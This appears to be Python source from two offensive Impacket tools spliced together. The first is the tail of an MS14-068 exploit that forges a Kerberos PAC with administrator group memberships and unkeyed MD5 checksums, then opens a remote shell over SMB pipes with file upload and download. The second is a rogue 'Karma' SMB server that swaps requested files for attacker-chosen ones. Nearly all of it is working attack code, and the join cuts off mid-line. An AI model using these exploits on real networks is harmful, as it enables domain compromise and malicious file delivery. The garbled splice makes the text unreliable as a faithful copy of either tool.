self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans.decode('cp437')) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, TGS, share): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.TGS = TGS self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share)) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = f.replace('/','\\') logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) if PY3: self.transferClient.putFile(self.share, pathname, fh.read) else: self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print(os.getcwd()) else: try: os.chdir(s) except Exception as e: logging.error(str(e)) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): if PY3: self.send_data(line.encode('cp437')+b'\r\n') else: self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, TGS=None, share=None): Pipes.__init__(self, transport, pipe, permisssions, TGS, share) def run(self): self.connectPipe() shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) shell.cmdloop() class MS14_068: # 6.1. Unkeyed Checksums # Vulnerable DCs are accepting at least these unkeyed checksum types CRC_32 = 1 RSA_MD4 = 2 RSA_MD5 = 7 class VALIDATION_INFO(TypeSerialization1): structure = ( ('Data', PKERB_VALIDATION_INFO), ) def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', copyFile=None, writeTGT=None, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__rid = 0 self.__lmhash = '' self.__nthash = '' self.__target = target self.__targetIp = targetIp self.__kdcHost = None self.__copyFile = copyFile self.__command = command self.__writeTGT = writeTGT self.__domainSid = '' self.__forestSid = None self.__domainControllers = list() self.__kdcHost = kdcHost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash = unhexlify(self.__lmhash) self.__nthash = unhexlify(self.__nthash) def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'),) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print ('\n') validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = pacClientInfo.getData() pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = b'\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = b'\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = b'\x00'*16 serverChecksumBlob = serverChecksum.getData() serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = b'\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = b'\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = b'\x00'*16 privSvrChecksumBlob = privSvrChecksum.getData() privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ pacClientInfo.getData() + pacClientInfoAlignment buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = pacType.getData() # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack(' = # for example: # bat = /tmp/batchfile # com = /tmp/comfile # exe = /tmp/exefile # # The SMB2 support works with a caveat. If two different # filenames at the same share are requested, the first # one will work and the second one will not work if the request # is performed right away. This seems related to the # QUERY_DIRECTORY request, where we return the files available. # In the first try, we return the file that was asked to open. # In the second try, the client will NOT ask for another # QUERY_DIRECTORY but will use the cached one. This time the new file # is not there, so the client assumes it doesn't exist. # After a few seconds, looks like the client cache is cleared and # the operation works again. Further research is needed trying # to avoid this from happening. # # SMB1 seems to be working fine on that scenario. # # Author: # Alberto Solino (@agsolino) # Original idea by @mubix # # ToDo: # [ ] A lot of testing needed under different OSes. # I'm still not sure how reliable this approach is. # [ ] Add support for other SMB read commands. Right now just # covering SMB_COM_NT_CREATE_ANDX # [ ] Disable write request, now if the client tries to copy # a file back to us, it will overwrite the files we're # hosting. *CAREFUL!!!* # from __future__ import division from __future__ import print_function import sys import os import argparse import logging import ntpath try: import ConfigParser except ImportError: import configparser as ConfigParser from threading import Thread from impacket.examples import logger from impacket import smbserver, smb, version import impacket.smb3structs as smb2 from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ STATUS_OBJECT_PATH_NOT_FOUND from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ getFileTime, queryPathInformation class KarmaSMBServer(Thread): def __init__(self, smb2Support = False): Thread.__init__(self) self.server = 0 self.defaultFile = None self.extensions = {} # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file','smb.log') smbConfig.set('global','credentials_file','') # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','Logon server share') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path','') # NETLOGON always needed smbConfig.add_section('NETLOGON') smbConfig.set('NETLOGON','comment','Logon server share') smbConfig.set('NETLOGON','read only','no') smbConfig.set('NETLOGON','share type','0') smbConfig.set('NETLOGON','path','') # SYSVOL always needed smbConfig.add_section('SYSVOL') smbConfig.set('SYSVOL','comment','') smbConfig.set('SYSVOL','read only','no') smbConfig.set('SYSVOL','share type','0') smbConfig.set('SYSVOL','path','') if smb2Support: smbConfig.set("global", "SMB2Support", "True") self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) self.server.unregisterSmb2Command(smb2.SMB2_WRITE) self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) # And the same for SMB2 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) # Now we have to register the MS-SRVS server. This specially important for # Windows 7+ and Mavericks clients since they WON'T (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): connData = smbServer.getConnectionData(connId) respSetup = b'' respParameters = b'' respData = b'' findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) origFileName = os.path.basename(origPathName) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if origPathNameExtension.upper() in self.extensions: targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile if recvPacket['Tid'] in connData['ConnectedShares']: path = connData['ConnectedShares'][recvPacket['Tid']]['path'] # 2. We call the normal findFirst2 call, but with our targetFile searchResult, searchCount, errorCode = findFirst2(path, targetFile, findFirst2Parameters['InformationLevel'], findFirst2Parameters['SearchAttributes'], pktFlags = recvPacket['Flags2'] ) respParameters = smb.SMBFindFirst2Response_Parameters() endOfSearch = 1 sid = 0x80 # default SID searchCount = 0 totalData = 0 for i in enumerate(searchResult): #i[1].dump() try: # 3. And we restore the original filename requested ;) i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) except: pass data = i[1].getData() lenData = len(data) if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: # We gotta stop here and continue on a find_next2 endOfSearch = 0 # Simple way to generate a fid if len(connData['SIDs']) == 0: sid = 1 else: sid = list(connData['SIDs'].keys())[-1] + 1 # Store the remaining search results in the ConnData SID connData['SIDs'][sid] = searchResult[i[0]:] respParameters['LastNameOffset'] = totalData break else: searchCount +=1 respData += data totalData += lenData respParameters['SID'] = sid respParameters['EndOfSearch'] = endOfSearch respParameters['SearchCount'] = searchCount else: errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) #ntCreateAndXParameters.dump() # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls (e.g. SMB_COM_WRITE) createOptions = ntCreateAndXParameters['CreateOptions'] if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [respSMBCommand], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if origPathNameExtension.upper() in self.extensions: targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile # 2. We change the filename in the request for our targetFile ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) SMBCommand['Data'] = ntCreateAndXData.getData() smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) # 3. We call the original call with our modified data return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): # The trick we play here is that Windows clients first ask for the file # and then it asks for the directory containing the file. # It is important to answer the right questions for the attack to work connData = smbServer.getConnectionData(connId) respSetup = b'' respParameters = b'' respData = b'' errorCode = 0 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) if recvPacket['Tid'] in connData['ConnectedShares']: path = '' try: origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) origPathName = os.path.normpath(origPathName.replace('\\','/')) if ('MS15011' in connData) is False: connData['MS15011'] = {} smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) if origPathName in connData['MS15011'] or origPathName == '.': # We already processed this entry, now it's asking for a directory infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) else: # First time asked, asking for the file infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) connData['MS15011'][os.path.dirname(origPathName)] = infoRecord except Exception as e: #import traceback #traceback.print_exc() smbServer.log("queryPathInformation: %s" % e,logging.ERROR) if infoRecord is not None: respParameters = smb.SMBQueryPathInformationResponse_Parameters() respData = infoRecord else: errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return respSetup, respParameters, respData, errorCode def smb2Read(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) connData['MS15011']['StopConnection'] = True smbServer.setConnectionData(connId, connData) return self.origsmb2Read(connId, smbServer, recvPacket) def smb2Close(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) # We're closing the connection trying to flush the client's # cache. if connData['MS15011']['StopConnection'] is True: return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED return self.origsmb2Close(connId, smbServer, recvPacket) def smb2Create(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls createOptions = ntCreateRequest['CreateOptions'] if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [smb2.SMB2Error()], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] # Are we being asked for a directory? if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: if origPathNameExtension.upper() in self.extensions: targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) else: targetFile = '/' # 2. We change the filename in the request for our targetFile try: ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') except UnicodeDecodeError: import sys ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le') ntCreateRequest['NameLength'] = len(targetFile)*2 recvPacket['Data'] = ntCreateRequest.getData() # 3. We call the original call with our modified data return self.origsmb2Create(connId, smbServer, recvPacket) def smb2QueryDirectory(self, connId, smbServer, recvPacket): # Windows clients with SMB2 will also perform a QueryDirectory # expecting to get the filename asked. So we deliver it :) connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2QueryDirectory_Response() #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) errorCode = 0xff respSMBCommand['Buffer'] = b'\x00' errorCode = STATUS_SUCCESS #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED if connData['MS15011']['FindDone'] is True: connData['MS15011']['FindDone'] = False smbServer.setConnectionData(connId, connData) return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES else: origName, targetFile = connData['MS15011']['FileData'] (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE infoRecord['EaSize'] = 0 infoRecord['EndOfFile'] = size infoRecord['AllocationSize'] = size infoRecord['CreationTime'] = getFileTime(ctime) infoRecord['LastAccessTime'] = getFileTime(atime) infoRecord['LastWriteTime'] = getFileTime(mtime) infoRecord['LastChangeTime'] = getFileTime(mtime) infoRecord['ShortName'] = b'\x00'*24 #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') infoRecord['FileName'] = origName.encode('utf-16le') padLen = (8-(len(infoRecord) % 8)) % 8 infoRecord['NextEntryOffset'] = 0 respSMBCommand['OutputBufferOffset'] = 0x48 respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) respSMBCommand['Buffer'] = infoRecord.getData() + b'\xaa'*padLen connData['MS15011']['FindDone'] = True smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode def smb2TreeConnect(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respPacket = smb2.SMB2Packet() respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = recvPacket['Command'] respPacket['SessionID'] = connData['Uid'] respPacket['Reserved'] = recvPacket['Reserved'] respPacket['MessageID'] = recvPacket['MessageID'] respPacket['TreeID'] = recvPacket['TreeID'] respSMBCommand = smb2.SMB2TreeConnect_Response() treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) errorCode = STATUS_SUCCESS ## Process here the request, does the share exist? path = recvPacket.getData()[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] UNCOrShare = path.decode('utf-16le') # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P #share = searchShare(connId, path.upper(), smbServer) connData['MS15011'] = {} connData['MS15011']['FindDone'] = False connData['MS15011']['StopConnection'] = False share = {} if share is not None: # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = list(connData['ConnectedShares'].keys())[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path 